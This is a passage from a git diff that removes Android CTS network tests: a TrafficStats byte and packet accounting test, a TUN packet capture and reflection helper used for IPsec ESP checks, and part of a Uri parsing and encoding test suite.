-        final long mobileRxBytesAfter = TrafficStats.getMobileRxBytes();
-        final long totalTxPacketsAfter = TrafficStats.getTotalTxPackets();
-        final long totalRxPacketsAfter = TrafficStats.getTotalRxPackets();
-        final long totalTxBytesAfter = TrafficStats.getTotalTxBytes();
-        final long totalRxBytesAfter = TrafficStats.getTotalRxBytes();
-        final long uidTxBytesAfter = TrafficStats.getUidTxBytes(Process.myUid());
-        final long uidRxBytesAfter = TrafficStats.getUidRxBytes(Process.myUid());
-        final long uidTxPacketsAfter = TrafficStats.getUidTxPackets(Process.myUid());
-        final long uidRxPacketsAfter = TrafficStats.getUidRxPackets(Process.myUid());
-        final long uidTxDeltaBytes = uidTxBytesAfter - uidTxBytesBefore;
-        final long uidTxDeltaPackets = uidTxPacketsAfter - uidTxPacketsBefore;
-        final long uidRxDeltaBytes = uidRxBytesAfter - uidRxBytesBefore;
-        final long uidRxDeltaPackets = uidRxPacketsAfter - uidRxPacketsBefore;
-        final long ifaceTxPacketsAfter = TrafficStats.getTxPackets("lo");
-        final long ifaceRxPacketsAfter = TrafficStats.getRxPackets("lo");
-        final long ifaceTxDeltaPackets = ifaceTxPacketsAfter - ifaceTxPacketsBefore;
-        final long ifaceRxDeltaPackets = ifaceRxPacketsAfter - ifaceRxPacketsBefore;
-
-        // Localhost traffic *does* count against per-UID stats.
-        /*
-         * Calculations:
-         *  - bytes
-         *   bytes is approx: packets * data + packets * acks;
-         *   but sometimes there are less acks than packets, so we set a lower
-         *   limit of 1 ack.
-         *  - setup/teardown
-         *   + 7 approx.: syn, syn-ack, ack, fin-ack, ack, fin-ack, ack;
-         *   but sometimes the last find-acks just vanish, so we set a lower limit of +5.
-         */
-        final int maxExpectedExtraPackets = 7;
-        final int minExpectedExtraPackets = 5;
-
-        // Some other tests don't cleanup connections correctly.
-        // They have the same UID, so we discount their lingering traffic
-        // which happens only on non-localhost, such as TCP FIN retranmission packets
-        final long deltaTxOtherPackets = (totalTxPacketsAfter - totalTxPacketsBefore)
-                - uidTxDeltaPackets;
-        final long deltaRxOtherPackets = (totalRxPacketsAfter - totalRxPacketsBefore)
-                - uidRxDeltaPackets;
-        if (deltaTxOtherPackets > 0 || deltaRxOtherPackets > 0) {
-            Log.i(LOG_TAG, "lingering traffic data: " + deltaTxOtherPackets + "/"
-                    + deltaRxOtherPackets);
-        }
-
-        // Check that the per-uid stats obtained from data profiling contain the expected values.
-        // The data profiling snapshot is generated from the readNetworkStatsDetail() method in
-        // networkStatsService, so it's possible to verify that the detailed stats for a given
-        // uid are correct.
-        final NetworkStats.Entry entry = testStats.getTotal(null, Process.myUid());
-        final long pktBytes = tcpPacketToIpBytes(packetCount, byteCount);
-        final long pktWithNoDataBytes = tcpPacketToIpBytes(packetCount, 0);
-        final long minExpExtraPktBytes = tcpPacketToIpBytes(minExpectedExtraPackets, 0);
-        final long maxExpExtraPktBytes = tcpPacketToIpBytes(maxExpectedExtraPackets, 0);
-        final long deltaTxOtherPktBytes = tcpPacketToIpBytes(deltaTxOtherPackets, 0);
-        final long deltaRxOtherPktBytes  = tcpPacketToIpBytes(deltaRxOtherPackets, 0);
-        assertInRange("txPackets detail", entry.txPackets, packetCount + minExpectedExtraPackets,
-                uidTxDeltaPackets);
-        assertInRange("rxPackets detail", entry.rxPackets, packetCount + minExpectedExtraPackets,
-                uidRxDeltaPackets);
-        assertInRange("txBytes detail", entry.txBytes, pktBytes + minExpExtraPktBytes,
-                uidTxDeltaBytes);
-        assertInRange("rxBytes detail", entry.rxBytes, pktBytes + minExpExtraPktBytes,
-                uidRxDeltaBytes);
-        assertInRange("uidtxp", uidTxDeltaPackets, packetCount + minExpectedExtraPackets,
-                packetCount + packetCount + maxExpectedExtraPackets + deltaTxOtherPackets);
-        assertInRange("uidrxp", uidRxDeltaPackets, packetCount + minExpectedExtraPackets,
-                packetCount + packetCount + maxExpectedExtraPackets + deltaRxOtherPackets);
-        assertInRange("uidtxb", uidTxDeltaBytes, pktBytes + minExpExtraPktBytes,
-                pktBytes + pktWithNoDataBytes + maxExpExtraPktBytes + deltaTxOtherPktBytes);
-        assertInRange("uidrxb", uidRxDeltaBytes, pktBytes + minExpExtraPktBytes,
-                pktBytes + pktWithNoDataBytes + maxExpExtraPktBytes + deltaRxOtherPktBytes);
-        assertInRange("iftxp", ifaceTxDeltaPackets, packetCount + minExpectedExtraPackets,
-                packetCount + packetCount + maxExpectedExtraPackets + deltaTxOtherPackets);
-        assertInRange("ifrxp", ifaceRxDeltaPackets, packetCount + minExpectedExtraPackets,
-                packetCount + packetCount + maxExpectedExtraPackets + deltaRxOtherPackets);
-
-        // Localhost traffic *does* count against total stats.
-        // Check the total stats increased after test data transfer over localhost has been made.
-        assertTrue("ttxp: " + totalTxPacketsBefore + " -> " + totalTxPacketsAfter,
-                totalTxPacketsAfter >= totalTxPacketsBefore + uidTxDeltaPackets);
-        assertTrue("trxp: " + totalRxPacketsBefore + " -> " + totalRxPacketsAfter,
-                totalRxPacketsAfter >= totalRxPacketsBefore + uidRxDeltaPackets);
-        assertTrue("ttxb: " + totalTxBytesBefore + " -> " + totalTxBytesAfter,
-                totalTxBytesAfter >= totalTxBytesBefore + uidTxDeltaBytes);
-        assertTrue("trxb: " + totalRxBytesBefore + " -> " + totalRxBytesAfter,
-                totalRxBytesAfter >= totalRxBytesBefore + uidRxDeltaBytes);
-        assertTrue("iftxp: " + ifaceTxPacketsBefore + " -> " + ifaceTxPacketsAfter,
-                totalTxPacketsAfter >= totalTxPacketsBefore + ifaceTxDeltaPackets);
-        assertTrue("ifrxp: " + ifaceRxPacketsBefore + " -> " + ifaceRxPacketsAfter,
-                totalRxPacketsAfter >= totalRxPacketsBefore + ifaceRxDeltaPackets);
-
-        // Localhost traffic should *not* count against mobile stats,
-        // There might be some other traffic, but nowhere near 1MB.
-        assertInRange("mtxp", mobileTxPacketsAfter, mobileTxPacketsBefore,
-                mobileTxPacketsBefore + 500);
-        assertInRange("mrxp", mobileRxPacketsAfter, mobileRxPacketsBefore,
-                mobileRxPacketsBefore + 500);
-        assertInRange("mtxb", mobileTxBytesAfter, mobileTxBytesBefore,
-                mobileTxBytesBefore + 200000);
-        assertInRange("mrxb", mobileRxBytesAfter, mobileRxBytesBefore,
-                mobileRxBytesBefore + 200000);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/TunUtils.java b/tests/tests/net/src/android/net/cts/TunUtils.java
deleted file mode 100644
index adaba9d..0000000
--- a/tests/tests/net/src/android/net/cts/TunUtils.java
+++ /dev/null
@@ -1,254 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.net.cts.PacketUtils.IP4_HDRLEN;
-import static android.net.cts.PacketUtils.IP6_HDRLEN;
-import static android.net.cts.PacketUtils.IPPROTO_ESP;
-import static android.net.cts.PacketUtils.UDP_HDRLEN;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
-import android.os.ParcelFileDescriptor;
-
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import java.util.function.Predicate;
-
-public class TunUtils {
-    private static final String TAG = TunUtils.class.getSimpleName();
-
-    protected static final int IP4_ADDR_OFFSET = 12;
-    protected static final int IP4_ADDR_LEN = 4;
-    protected static final int IP6_ADDR_OFFSET = 8;
-    protected static final int IP6_ADDR_LEN = 16;
-    protected static final int IP4_PROTO_OFFSET = 9;
-    protected static final int IP6_PROTO_OFFSET = 6;
-
-    private static final int DATA_BUFFER_LEN = 4096;
-    private static final int TIMEOUT = 1000;
-
-    private final List<byte[]> mPackets = new ArrayList<>();
-    private final ParcelFileDescriptor mTunFd;
-    private final Thread mReaderThread;
-
-    public TunUtils(ParcelFileDescriptor tunFd) {
-        mTunFd = tunFd;
-
-        // Start background reader thread
-        mReaderThread =
-                new Thread(
-                        () -> {
-                            try {
-                                // Loop will exit and thread will quit when tunFd is closed.
-                                // Receiving either EOF or an exception will exit this reader loop.
-                                // FileInputStream in uninterruptable, so there's no good way to
-                                // ensure that this thread shuts down except upon FD closure.
-                                while (true) {
-                                    byte[] intercepted = receiveFromTun();
-                                    if (intercepted == null) {
-                                        // Exit once we've hit EOF
-                                        return;
-                                    } else if (intercepted.length > 0) {
-                                        // Only save packet if we've received any bytes.
-                                        synchronized (mPackets) {
-                                            mPackets.add(intercepted);
-                                            mPackets.notifyAll();
-                                        }
-                                    }
-                                }
-                            } catch (IOException ignored) {
-                                // Simply exit this reader thread
-                                return;
-                            }
-                        });
-        mReaderThread.start();
-    }
-
-    private byte[] receiveFromTun() throws IOException {
-        FileInputStream in = new FileInputStream(mTunFd.getFileDescriptor());
-        byte[] inBytes = new byte[DATA_BUFFER_LEN];
-        int bytesRead = in.read(inBytes);
-
-        if (bytesRead < 0) {
-            return null; // return null for EOF
-        } else if (bytesRead >= DATA_BUFFER_LEN) {
-            throw new IllegalStateException("Too big packet. Fragmentation unsupported");
-        }
-        return Arrays.copyOf(inBytes, bytesRead);
-    }
-
-    private byte[] getFirstMatchingPacket(Predicate<byte[]> verifier, int startIndex) {
-        synchronized (mPackets) {
-            for (int i = startIndex; i < mPackets.size(); i++) {
-                byte[] pkt = mPackets.get(i);
-                if (verifier.test(pkt)) {
-                    return pkt;
-                }
-            }
-        }
-        return null;
-    }
-
-    protected byte[] awaitPacket(Predicate<byte[]> verifier) throws Exception {
-        long endTime = System.currentTimeMillis() + TIMEOUT;
-        int startIndex = 0;
-
-        synchronized (mPackets) {
-            while (System.currentTimeMillis() < endTime) {
-                final byte[] pkt = getFirstMatchingPacket(verifier, startIndex);
-                if (pkt != null) {
-                    return pkt; // We've found the packet we're looking for.
-                }
-
-                startIndex = mPackets.size();
-
-                // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
-                long waitTimeout = endTime - System.currentTimeMillis();
-                if (waitTimeout > 0) {
-                    mPackets.wait(waitTimeout);
-                }
-            }
-        }
-
-        fail("No packet found matching verifier");
-        throw new IllegalStateException("Impossible condition; should have thrown in fail()");
-    }
-
-    public byte[] awaitEspPacketNoPlaintext(
-            int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
-        final byte[] espPkt = awaitPacket(
-                (pkt) -> isEspFailIfSpecifiedPlaintextFound(pkt, spi, useEncap, plaintext));
-
-        // Validate packet size
-        assertEquals(expectedPacketSize, espPkt.length);
-
-        return espPkt; // We've found the packet we're looking for.
-    }
-
-    private static boolean isSpiEqual(byte[] pkt, int espOffset, int spi) {
-        // Check SPI byte by byte.
-        return pkt[espOffset] == (byte) ((spi >>> 24) & 0xff)
-                && pkt[espOffset + 1] == (byte) ((spi >>> 16) & 0xff)
-                && pkt[espOffset + 2] == (byte) ((spi >>> 8) & 0xff)
-                && pkt[espOffset + 3] == (byte) (spi & 0xff);
-    }
-
-    /**
-     * Variant of isEsp that also fails the test if the provided plaintext is found
-     *
-     * @param pkt the packet bytes to verify
-     * @param spi the expected SPI to look for
-     * @param encap whether encap was enabled, and the packet has a UDP header
-     * @param plaintext the plaintext packet before outbound encryption, which MUST not appear in
-     *     the provided packet.
-     */
-    private static boolean isEspFailIfSpecifiedPlaintextFound(
-            byte[] pkt, int spi, boolean encap, byte[] plaintext) {
-        if (Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext)) != -1) {
-            fail("Banned plaintext packet found");
-        }
-
-        return isEsp(pkt, spi, encap);
-    }
-
-    private static boolean isEsp(byte[] pkt, int spi, boolean encap) {
-        if (isIpv6(pkt)) {
-            // IPv6 UDP encap not supported by kernels; assume non-encap.
-            return pkt[IP6_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP6_HDRLEN, spi);
-        } else {
-            // Use default IPv4 header length (assuming no options)
-            if (encap) {
-                return pkt[IP4_PROTO_OFFSET] == IPPROTO_UDP
-                        && isSpiEqual(pkt, IP4_HDRLEN + UDP_HDRLEN, spi);
-            } else {
-                return pkt[IP4_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP4_HDRLEN, spi);
-            }
-        }
-    }
-
-    public static boolean isIpv6(byte[] pkt) {
-        // First nibble shows IP version. 0x60 for IPv6
-        return (pkt[0] & (byte) 0xF0) == (byte) 0x60;
-    }
-
-    private static byte[] getReflectedPacket(byte[] pkt) {
-        byte[] reflected = Arrays.copyOf(pkt, pkt.length);
-
-        if (isIpv6(pkt)) {
-            // Set reflected packet's dst to that of the original's src
-            System.arraycopy(
-                    pkt, // src
-                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // src offset
-                    reflected, // dst
-                    IP6_ADDR_OFFSET, // dst offset
-                    IP6_ADDR_LEN); // len
-            // Set reflected packet's src IP to that of the original's dst IP
-            System.arraycopy(
-                    pkt, // src
-                    IP6_ADDR_OFFSET, // src offset
-                    reflected, // dst
-                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // dst offset
-                    IP6_ADDR_LEN); // len
-        } else {
-            // Set reflected packet's dst to that of the original's src
-            System.arraycopy(
-                    pkt, // src
-                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // src offset
-                    reflected, // dst
-                    IP4_ADDR_OFFSET, // dst offset
-                    IP4_ADDR_LEN); // len
-            // Set reflected packet's src IP to that of the original's dst IP
-            System.arraycopy(
-                    pkt, // src
-                    IP4_ADDR_OFFSET, // src offset
-                    reflected, // dst
-                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // dst offset
-                    IP4_ADDR_LEN); // len
-        }
-        return reflected;
-    }
-
-    /** Takes all captured packets, flips the src/dst, and re-injects them. */
-    public void reflectPackets() throws IOException {
-        synchronized (mPackets) {
-            for (byte[] pkt : mPackets) {
-                injectPacket(getReflectedPacket(pkt));
-            }
-        }
-    }
-
-    public void injectPacket(byte[] pkt) throws IOException {
-        FileOutputStream out = new FileOutputStream(mTunFd.getFileDescriptor());
-        out.write(pkt);
-        out.flush();
-    }
-
-    /** Resets the intercepted packets. */
-    public void reset() throws IOException {
-        synchronized (mPackets) {
-            mPackets.clear();
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/UriTest.java b/tests/tests/net/src/android/net/cts/UriTest.java
deleted file mode 100644
index 40b8fb7..0000000
--- a/tests/tests/net/src/android/net/cts/UriTest.java
+++ /dev/null
@@ -1,590 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.content.ContentUris;
-import android.net.Uri;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import java.io.File;
-import java.util.Arrays;
-import java.util.ArrayList;
-
-public class UriTest extends AndroidTestCase {
-    public void testParcelling() {
-        parcelAndUnparcel(Uri.parse("foo:bob%20lee"));
-        parcelAndUnparcel(Uri.fromParts("foo", "bob lee", "fragment"));
-        parcelAndUnparcel(new Uri.Builder()
-             .scheme("http")
-            .authority("crazybob.org")
-            .path("/rss/")
-            .encodedQuery("a=b")
-            .fragment("foo")
-            .build());
-     }
-
-    private void parcelAndUnparcel(Uri u) {
-        Parcel p = Parcel.obtain();
-        Uri.writeToParcel(p, u);
-        p.setDataPosition(0);
-        assertEquals(u, Uri.CREATOR.createFromParcel(p));
-
-        p.setDataPosition(0);
-        u = u.buildUpon().build();
-        Uri.writeToParcel(p, u);
-        p.setDataPosition(0);
-        assertEquals(u, Uri.CREATOR.createFromParcel(p));
-    }
-
-    public void testBuildUpon() {
-        Uri u = Uri.parse("bob:lee").buildUpon().scheme("robert").build();
-        assertEquals("robert", u.getScheme());
-        assertEquals("lee", u.getEncodedSchemeSpecificPart());
-        assertEquals("lee", u.getSchemeSpecificPart());
-        assertNull(u.getQuery());
-        assertNull(u.getPath());
-        assertNull(u.getAuthority());
-        assertNull(u.getHost());
-
-        Uri a = Uri.fromParts("foo", "bar", "tee");
-        Uri b = a.buildUpon().fragment("new").build();
-        assertEquals("new", b.getFragment());
-        assertEquals("bar", b.getSchemeSpecificPart());
-        assertEquals("foo", b.getScheme());
-        a = new Uri.Builder()
-                .scheme("foo")
-                .encodedOpaquePart("bar")
-                .fragment("tee")
-                .build();
-        b = a.buildUpon().fragment("new").build();
-        assertEquals("new", b.getFragment());
-        assertEquals("bar", b.getSchemeSpecificPart());
-        assertEquals("foo", b.getScheme());
-
-        a = Uri.fromParts("scheme", "[2001:db8::dead:e1f]/foo", "bar");
-        b = a.buildUpon().fragment("qux").build();
-        assertEquals("qux", b.getFragment());
-        assertEquals("[2001:db8::dead:e1f]/foo", b.getSchemeSpecificPart());
-        assertEquals("scheme", b.getScheme());
-    }
-
-    public void testStringUri() {
-        assertEquals("bob lee",
-                Uri.parse("foo:bob%20lee").getSchemeSpecificPart());
-        assertEquals("bob%20lee",
-                Uri.parse("foo:bob%20lee").getEncodedSchemeSpecificPart());
-
-        assertEquals("/bob%20lee",
-                Uri.parse("foo:/bob%20lee").getEncodedPath());
-        assertNull(Uri.parse("foo:bob%20lee").getPath());
-
-        assertEquals("bob%20lee",
-                Uri.parse("foo:?bob%20lee").getEncodedQuery());
-        assertNull(Uri.parse("foo:bob%20lee").getEncodedQuery());
-        assertNull(Uri.parse("foo:bar#?bob%20lee").getQuery());
-
-        assertEquals("bob%20lee",
-                Uri.parse("foo:#bob%20lee").getEncodedFragment());
-
-        Uri uri = Uri.parse("http://localhost:42");
-        assertEquals("localhost", uri.getHost());
-        assertEquals(42, uri.getPort());
-
-        uri = Uri.parse("http://bob@localhost:42");
-        assertEquals("bob", uri.getUserInfo());
-        assertEquals("localhost", uri.getHost());
-        assertEquals(42, uri.getPort());
-
-        uri = Uri.parse("http://bob%20lee@localhost:42");
-        assertEquals("bob lee", uri.getUserInfo());
-        assertEquals("bob%20lee", uri.getEncodedUserInfo());
-
-        uri = Uri.parse("http://localhost");
-        assertEquals("localhost", uri.getHost());
-        assertEquals(-1, uri.getPort());
-
-        uri = Uri.parse("http://a:a@example.com:a@example2.com/path");
-        assertEquals("a:a@example.com:a@example2.com", uri.getAuthority());
-        assertEquals("example2.com", uri.getHost());
-        assertEquals(-1, uri.getPort());
-        assertEquals("/path", uri.getPath());
-
-        uri = Uri.parse("http://a.foo.com\\.example.com/path");
-        assertEquals("a.foo.com", uri.getHost());
-        assertEquals(-1, uri.getPort());
-        assertEquals("\\.example.com/path", uri.getPath());
-
-        uri = Uri.parse("https://[2001:db8::dead:e1f]/foo");
-        assertEquals("[2001:db8::dead:e1f]", uri.getAuthority());
-        assertNull(uri.getUserInfo());
-        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
-        assertEquals(-1, uri.getPort());
-        assertEquals("/foo", uri.getPath());
-        assertEquals(null, uri.getFragment());
-        assertEquals("//[2001:db8::dead:e1f]/foo", uri.getSchemeSpecificPart());
-
-        uri = Uri.parse("https://[2001:db8::dead:e1f]/#foo");
-        assertEquals("[2001:db8::dead:e1f]", uri.getAuthority());
-        assertNull(uri.getUserInfo());
-        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
-        assertEquals(-1, uri.getPort());
-        assertEquals("/", uri.getPath());
-        assertEquals("foo", uri.getFragment());
-        assertEquals("//[2001:db8::dead:e1f]/", uri.getSchemeSpecificPart());
-
-        uri = Uri.parse(
-                "https://some:user@[2001:db8::dead:e1f]:1234/foo?corge=thud&corge=garp#bar");
-        assertEquals("some:user@[2001:db8::dead:e1f]:1234", uri.getAuthority());
-        assertEquals("some:user", uri.getUserInfo());
-        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
-        assertEquals(1234, uri.getPort());
-        assertEquals("/foo", uri.getPath());
-        assertEquals("bar", uri.getFragment());
-        assertEquals("//some:user@[2001:db8::dead:e1f]:1234/foo?corge=thud&corge=garp",
-                uri.getSchemeSpecificPart());
-        assertEquals("corge=thud&corge=garp", uri.getQuery());
-        assertEquals("thud", uri.getQueryParameter("corge"));
-        assertEquals(Arrays.asList("thud", "garp"), uri.getQueryParameters("corge"));
-    }
-
-    public void testCompareTo() {
-        Uri a = Uri.parse("foo:a");
-        Uri b = Uri.parse("foo:b");
-        Uri b2 = Uri.parse("foo:b");
-
-        assertTrue(a.compareTo(b) < 0);
-        assertTrue(b.compareTo(a) > 0);
-        assertEquals(0, b.compareTo(b2));
-    }
-
-    public void testEqualsAndHashCode() {
-        Uri a = Uri.parse("http://crazybob.org/test/?foo=bar#tee");
-
-        Uri b = new Uri.Builder()
-                .scheme("http")
-                .authority("crazybob.org")
-                .path("/test/")
-                .encodedQuery("foo=bar")
-                .fragment("tee")
-                .build();
-
-        // Try alternate builder methods.
-        Uri c = new Uri.Builder()
-                .scheme("http")
-                .encodedAuthority("crazybob.org")
-                .encodedPath("/test/")
-                .encodedQuery("foo=bar")
-                .encodedFragment("tee")
-                .build();
-
-        assertFalse(Uri.EMPTY.equals(null));
-        assertEquals(a, b);
-        assertEquals(b, c);
-        assertEquals(c, a);
-        assertEquals(a.hashCode(), b.hashCode());
-        assertEquals(b.hashCode(), c.hashCode());
-    }
-
-    public void testEncodeAndDecode() {
-        String encoded = Uri.encode("Bob:/", "/");
-        assertEquals(-1, encoded.indexOf(':'));
-        assertTrue(encoded.indexOf('/') > -1);
-        assertEncodeDecodeRoundtripExact(null);
-        assertEncodeDecodeRoundtripExact("");
-        assertEncodeDecodeRoundtripExact("Bob");
-        assertEncodeDecodeRoundtripExact(":Bob");
-        assertEncodeDecodeRoundtripExact("::Bob");
-        assertEncodeDecodeRoundtripExact("Bob::Lee");
-        assertEncodeDecodeRoundtripExact("Bob:Lee");
-        assertEncodeDecodeRoundtripExact("Bob::");
-        assertEncodeDecodeRoundtripExact("Bob:");
-        assertEncodeDecodeRoundtripExact("::Bob::");
-        assertEncodeDecodeRoundtripExact("https:/some:user@[2001:db8::dead:e1f]:1234/foo#bar");
-    }
-
-    private static void assertEncodeDecodeRoundtripExact(String s) {
-        assertEquals(s, Uri.decode(Uri.encode(s, null)));
-    }
-
-    public void testDecode_emptyString_returnsEmptyString() {
-        assertEquals("", Uri.decode(""));
-    }
-
-    public void testDecode_null_returnsNull() {
-        assertNull(Uri.decode(null));
-    }
-
-    public void testDecode_wrongHexDigit() {
-        // %p in the end.
-        assertEquals("ab/$\u0102%\u0840\uFFFD\u0000", Uri.decode("ab%2f$%C4%82%25%e0%a1%80%p"));
-    }
-
-    public void testDecode_secondHexDigitWrong() {
-        // %1p in the end.
-        assertEquals("ab/$\u0102%\u0840\uFFFD\u0001", Uri.decode("ab%2f$%c4%82%25%e0%a1%80%1p"));
-    }
-
-    public void testDecode_endsWithPercent_appendsUnknownCharacter() {
-        // % in the end.
-        assertEquals("ab/$\u0102%\u0840\uFFFD", Uri.decode("ab%2f$%c4%82%25%e0%a1%80%"));
-    }
-
-    public void testDecode_plusNotConverted() {
-        assertEquals("ab/$\u0102%+\u0840", Uri.decode("ab%2f$%c4%82%25+%e0%a1%80"));
-    }
-
-    // Last character needs decoding (make sure we are flushing the buffer with chars to decode).
-    public void testDecode_lastCharacter() {
-        assertEquals("ab/$\u0102%\u0840", Uri.decode("ab%2f$%c4%82%25%e0%a1%80"));
-    }
-
-    // Check that a second row of encoded characters is decoded properly (internal buffers are
-    // reset properly).
-    public void testDecode_secondRowOfEncoded() {
-        assertEquals("ab/$\u0102%\u0840aa\u0840",
-                Uri.decode("ab%2f$%c4%82%25%e0%a1%80aa%e0%a1%80"));
-    }
-
-    public void testFromFile() {
-        File f = new File("/tmp/bob");
-        Uri uri = Uri.fromFile(f);
-        assertEquals("file:///tmp/bob", uri.toString());
-        try {
-            Uri.fromFile(null);
-            fail("testFile fail");
-            } catch (NullPointerException e) {}
-    }
-
-    public void testQueryParameters() {
-        Uri uri = Uri.parse("content://user");
-        assertEquals(null, uri.getQueryParameter("a"));
-
-        uri = uri.buildUpon().appendQueryParameter("a", "b").build();
-        assertEquals("b", uri.getQueryParameter("a"));
-
-        uri = uri.buildUpon().appendQueryParameter("a", "b2").build();
-        assertEquals(Arrays.asList("b", "b2"), uri.getQueryParameters("a"));
-
-        uri = uri.buildUpon().appendQueryParameter("c", "d").build();
-        assertEquals(Arrays.asList("b", "b2"), uri.getQueryParameters("a"));
-        assertEquals("d", uri.getQueryParameter("c"));
-    }
-
-    public void testPathOperations() {
-        Uri uri = Uri.parse("content://user/a/b");
-
-        assertEquals(2, uri.getPathSegments().size());
-        assertEquals("a", uri.getPathSegments().get(0));
-        assertEquals("b", uri.getPathSegments().get(1));
-        assertEquals("b", uri.getLastPathSegment());
-
-        Uri first = uri;
-        uri = uri.buildUpon().appendPath("c").build();
-        assertEquals(3, uri.getPathSegments().size());
-        assertEquals("c", uri.getPathSegments().get(2));
-        assertEquals("c", uri.getLastPathSegment());
-        assertEquals("content://user/a/b/c", uri.toString());
-
-        uri = ContentUris.withAppendedId(uri, 100);
-        assertEquals(4, uri.getPathSegments().size());
-        assertEquals("100", uri.getPathSegments().get(3));
-        assertEquals("100", uri.getLastPathSegment());
-        assertEquals(100, ContentUris.parseId(uri));
-        assertEquals("content://user/a/b/c/100", uri.toString());
-
-        // Make sure the original URI is still intact.
-        assertEquals(2, first.getPathSegments().size());
-        assertEquals("b", first.getLastPathSegment());
-
-        try {
-        first.getPathSegments().get(2);
-        fail("test path operations");
-        } catch (IndexOutOfBoundsException e) {}
-
-        assertEquals(null, Uri.EMPTY.getLastPathSegment());
-
-        Uri withC = Uri.parse("foo:/a/b/").buildUpon().appendPath("c").build();
-        assertEquals("/a/b/c", withC.getPath());
-    }
-
-    public void testOpaqueUri() {
-        Uri uri = Uri.parse("mailto:nobody");
-        testOpaqueUri(uri);
-
-        uri = uri.buildUpon().build();
-        testOpaqueUri(uri);
-
-        uri = Uri.fromParts("mailto", "nobody", null);
-        testOpaqueUri(uri);
-
-        uri = uri.buildUpon().build();
-        testOpaqueUri(uri);
-
-        uri = new Uri.Builder()
-                .scheme("mailto")
-                .opaquePart("nobody")
-                .build();
-        testOpaqueUri(uri);
-
-        uri = uri.buildUpon().build();
-        testOpaqueUri(uri);
-    }
-
-    private void testOpaqueUri(Uri uri) {
-        assertEquals("mailto", uri.getScheme());
-        assertEquals("nobody", uri.getSchemeSpecificPart());
-        assertEquals("nobody", uri.getEncodedSchemeSpecificPart());
-
-        assertNull(uri.getFragment());
-        assertTrue(uri.isAbsolute());
-        assertTrue(uri.isOpaque());
-        assertFalse(uri.isRelative());
-        assertFalse(uri.isHierarchical());
-
-        assertNull(uri.getAuthority());
-        assertNull(uri.getEncodedAuthority());
-        assertNull(uri.getPath());
-        assertNull(uri.getEncodedPath());
-        assertNull(uri.getUserInfo());
-        assertNull(uri.getEncodedUserInfo());
-        assertNull(uri.getQuery());
-        assertNull(uri.getEncodedQuery());
-        assertNull(uri.getHost());
-        assertEquals(-1, uri.getPort());
-
-        assertTrue(uri.getPathSegments().isEmpty());
-        assertNull(uri.getLastPathSegment());
-
-        assertEquals("mailto:nobody", uri.toString());
-
-        Uri withFragment = uri.buildUpon().fragment("top").build();
-        assertEquals("mailto:nobody#top", withFragment.toString());
-    }
-
-    public void testHierarchicalUris() {
-        testHierarchical("http", "google.com", "/p1/p2", "query", "fragment");
-        testHierarchical("file", null, "/p1/p2", null, null);
-        testHierarchical("content", "contact", "/p1/p2", null, null);
-        testHierarchical("http", "google.com", "/p1/p2", null, "fragment");
-        testHierarchical("http", "google.com", "", null, "fragment");
-        testHierarchical("http", "google.com", "", "query", "fragment");
-        testHierarchical("http", "google.com", "", "query", null);
-        testHierarchical("http", null, "/", "query", null);
-    }
-
-    private static void testHierarchical(String scheme, String authority,
-        String path, String query, String fragment) {
-        StringBuilder sb = new StringBuilder();
-
-        if (authority != null) {
-            sb.append("//").append(authority);
-        }
-        if (path != null) {
-            sb.append(path);
-        }
-        if (query != null) {
-            sb.append('?').append(query);
-        }
-
-        String ssp = sb.toString();
-
-        if (scheme != null) {
-            sb.insert(0, scheme + ":");
-        }
-        if (fragment != null) {
-            sb.append('#').append(fragment);
-        }
-
-        String uriString = sb.toString();
-
-        Uri uri = Uri.parse(uriString);
-
-        // Run these twice to test caching.
-        compareHierarchical(
-        uriString, ssp, uri, scheme, authority, path, query, fragment);
-        compareHierarchical(
-        uriString, ssp, uri, scheme, authority, path, query, fragment);
-
-        // Test rebuilt version.
-        uri = uri.buildUpon().build();
-
-        // Run these twice to test caching.
-        compareHierarchical(
-                uriString, ssp, uri, scheme, authority, path, query, fragment);
-        compareHierarchical(
-                uriString, ssp, uri, scheme, authority, path, query, fragment);
-
-        // The decoded and encoded versions of the inputs are all the same.
-        // We'll test the actual encoding decoding separately.
-
-        // Test building with encoded versions.
-        Uri built = new Uri.Builder()
-            .scheme(scheme)
-                .encodedAuthority(authority)
-                .encodedPath(path)
-                .encodedQuery(query)
-                .encodedFragment(fragment)
-                .build();
-
-        compareHierarchical(
-                uriString, ssp, built, scheme, authority, path, query, fragment);
